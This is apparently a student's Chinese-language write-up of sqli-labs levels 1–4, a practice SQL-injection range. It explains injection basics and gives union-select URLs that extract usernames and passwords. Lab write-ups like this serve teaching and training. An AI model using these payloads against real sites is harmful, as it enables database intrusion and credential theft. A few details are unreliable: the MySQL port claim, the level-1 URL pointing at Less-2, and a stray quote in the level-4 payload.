关于渗透课程的部分靶场漏洞复现
环境搭建:
在Windows上下载phpstudy,将sqli-labs靶场的压缩包解压至G:\phpStudy\phpstudy_pro\WWW路径下即可简单搭建靶场环境。
搭建时遇到的小问题,phpstudy上的MySQL无法正常启动,发现是因为之前下载安装过MySQL环境,服务自动开启占用了80端口,导致phpstudy上的MySQL无法正常启动,使靶场无法连接到数据库。解决办法很简单,卸载之前的MySQL数据库系统,或者关闭MySQL80服务再启动phpstudy上的MySQL服务也是一样的效果。
sql注入原理
web程序在接收用户相关数据参数时没有做好过滤,将其直接带入到数据库进行查询,导致用户可以查到看到本不该查到看到的内容,攻击者可通过此类方法拼接执行构造的数据库语句。
sql注入思路
1.判断注入点
2.判断数据库类型
3.判断参数数据类型
4.判断数据库语句过滤情况,从而选择相应的注入方式
sqli-labs less第一关
根据提示在url中输入?id=1
通过在?id=1后键入“ ' ”后出现报错提示,判断存在注入点
所以需要想办法执行联合查询,想要执行联合查询,要先解决报错问题,还有知道有几个字段
出现报错的原因是因为引号需要成对出现,所以解决报错只需闭合多余出来的单引号,或者将多余的单引号注释掉。于是我选择第二种,注释掉多余的引号。在url中添加--+进行注释。
想要知道有几个字段,则使用order by语句进行查询,order by的作用是对结果进行排列
再通过二分查找的思想去猜解字段即可,尝试到4时出现报错,说明一共三个字段。
然后使用联合查询语句进行尝试注入
发现没变化,猜测和id=1的查询有关,于是尝试id=-1,并且引入sql函数作为联合查询的参数
得知我们所拥有的权限,以及数据库名
再通过group_concat提取表名,列名,用户名和密码
http://www.sqli.com/Less-2/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+
sqli-labs less第二关
与第一关不同的点在于id为整型传参,我们甚至不需要闭合注释单引号,其余流程与第一关一致
http://www.sqli.com/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users
sqli-labs less第三关
与第一关的区别是多了一对括号,所以我们应用与第一关解题方式,只需多加一个)即可
http://www.sqli.com/Less-3/?id=-1%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+
sqli-labs less第四关
在第三关的基础上有多了一对双引号,所以只需再多加一个双引号即可
http://www.sqli.com/Less-4/?id=-1%27%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+